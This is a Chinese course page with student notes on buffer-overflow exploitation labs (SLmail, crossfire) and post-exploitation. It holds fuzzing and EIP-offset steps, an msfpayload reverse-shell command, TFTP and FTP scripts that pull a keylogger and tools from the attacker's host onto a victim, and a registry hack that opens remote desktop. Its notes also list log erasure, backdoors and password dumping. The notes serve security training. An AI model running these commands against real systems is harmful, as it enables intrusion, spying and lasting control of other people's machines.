默认计划
931人加入学习
(9人评价)
安全测试缓冲区溢出

购买过Kali Linux渗透测试、武官课程包、安全技术会员课程的学员不要再买此课程

价格 ¥ 300.00
该课程属于 高校公益行 | 网络安全实践训练营 请加入后再学习

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

——安装i386的wine32

 

i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe

——Linux下用gcc编译windowsC程序

[展开全文]

vbscript

service apache2 start  #开启apache

cd /var/www/html/

cp 路径+whoami.exe .

将命令写入文件

cscript wget.vbs http://ip/whoami.exe w.exe

powershell

powershell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -File wget.ps1

debug

>汇编,反汇编

>16进制dump工具

>限制64k字节

npx -9 nc.exe  #压缩nc文件

wine /usr/share/windows-binaries/exe2bat.exe nc.txt   #转换成二进制文件

将nc.txt中的命令(除倒数两行)复制到命令行执行

debug<123.hex  #debug进行汇编

copy 1.dll nc.exe

 

 

[展开全文]

上传工具

 

 

TFTP

  • 基于UDP,应用层  常用于OS升级
  • 常被边界防火墙过滤

kali

mkdir /tftp

chown -R nobody /tftp/

cp /usr/share/windows-binaries/whoami.exe /tftp/

cp /usr/share/windows-binaries/klogger.exe /tftp/

atftpd --daemon --port 69 /tftp

netstat -pantu | grep 69

Windows

tftp -i +kali ip get whoami.exe 
tftp -i +kali ip get klogger.exe 

运行程序

 

 

FTP

注意:由于获取的shell是非交互性shell,不能输入密码,故连接FTP是将命令写入文件发送

echo open +kali ip +kali port >ftp.txt

echo ftp用户名>>ftp.txt

echo ftp密码>>ftp.txt

echo bin>>ftp.txt

echo GET whoami.exe>>ftp.txt

echo GET klogger.exe>>ftp.txt

echo bye>>ftp.txt

ftp -s:ftp.txt

 

[展开全文]

后漏洞利用阶段

上传工具

   Linux系统

  • netcat
  •  curl
  • wget

    Windows

  • 缺少预装的下载工具

 提权

擦除攻击痕迹

  • 程序的System目录下有日志文件

 安装后门

  •  长期控制
  • Dump 密码
  •  内网渗透

 后漏洞利用阶段

  •  最大的挑战 ——防病毒软件
  •   使用合法的远程控制软件
[展开全文]

调试

• edb --run /usr/games/crossfire/bin/crossfire

点击两次run运行程序

唯一字符串识别 EIP 精确位置、

 

 

[展开全文]

Linux缓冲区溢出

环境准备

将crossfire.tar.gz拷贝到/usr/games下解压

tar zxpf crossfire.tar.gz

调试工具

     • edb

本机调试(设置只允许本地访问)

• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

 

[展开全文]

先开始监听shellcode中LPORT端口

发送shellcode脚本

通过修改注册表打开服务器的远程桌面服务

echo Windows Registry Editor Version 5.00>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

重启服务器让命令生效

shutdown -r -t 0

kali安装并执行远程桌面服务

apt-get install rdesktop
rdesktop +ip

注意:若连接不上,可能是防火墙阻止

注意:RegSnap软件可以对注册表拍摄快照,通过修改防火墙设置前后的快照比较,可以找出要修改的注册表路径

[展开全文]

发送测试数据08.py

断点停止后,按F7

使用msfpayload生成shellcode

cd /usr/share/framework2

./msfpayload -l

注意:现在服务器防火墙通常只允许外部访问特定端口,就算运行脚本开启服务器的其他端口外部也不能访问,故shellcode一般让服务器来主动连接攻击者端口

生成shellcode

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C

在shellcode发现坏字符,通过编码绕过

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

将shellcode编入程序

为了避免shellcode前几个字符被擦掉,在shellcode前面插入几个空字符

[展开全文]

问题:寄存器地址会变化

方法:

在内存中寻找地址固定的系统模块

寻找JMP ESP指令跳转

调用mona.py文件  打开模块

!mona modules

筛选模块

Rebase:重启后内存地址是否发生变化(这里找False)

RSLR:是否受保护

找符合  前四个False,OS为True  的模块

将(JMP ESP)指令转换为二进制(FFE4)

cd /usr/share/metasploit-framework/tools
./nasm_shell.rb

调用mona.py文件  输入命令

!mona find -s "\xff\e4" -m openc32.dll(模块名称)

若无(JMP ESP)指令,换模块继续查找

若找到,选择一个双击,在数据部分切换成汇编语言格式

点击工具栏“m”打开内存地图

注意,若程序支持DEP,则要挑选Access权限为 “R E”的模块

在(JMP ESP)指令处设置断点

开始运行

[展开全文]

fuzzing

将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取EIP 寄存器 数值,将跳转到 shellcode 代码段并执行;

发送0x00---0xff256个字符,查找坏字符

[展开全文]
hippo · 2018-05-19 · FUZZING思路 0

找到精确溢出的4个字节

  • 二分法/唯一字串法(下面用唯一字串法)
  • cd usr/share/metasploit-framework/tools
    
    ./pattern_create.rb 2700
  • 查看EIP(从右向左看)
  • 计算偏移量
  • ./pattern_offset.rb +EIP

  • 再发送数据确认4个字节
[展开全文]

开启邮件服务器(SLmail)

查找可以输入参数的命令

开始测试

打开调试工具(Immunity Debugger)

监听110端口(即邮件服务器SLmail)

启动运行

不停向邮件服务器(SLmail)发送测试数据

查看调试工具(Immunity Debugger)

  • 寄存器
  • EIP(存放程序下一条指令的地址)

 

找到精确溢出的4个字节

  • 不停调试测试数据
[展开全文]

DEP:阻止代码从数据页被执行

ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

[展开全文]

如何发现漏洞

源码审计

逆向工程

模糊测试

  1. 向程序堆栈半随机的数据,根据内存变化判断溢出
  2. 数据生成器:生成随机数据
  3. 测试工具:识别溢出漏洞
[展开全文]

罪恶的根源:变量
    数据与代码边界不清
    最简漏洞原理 —— shell脚本漏洞
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑
暴”,从而覆盖了相邻内存区域的数据;
    成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
如何发现漏洞
• 源码审计
• 逆向工程
• 模糊测试
• 向程序堆栈半随机的数据,根据内存变化判断溢出
• 数据生成器:生成随机、半随机数据
• 测试工具:识别溢出漏洞

[展开全文]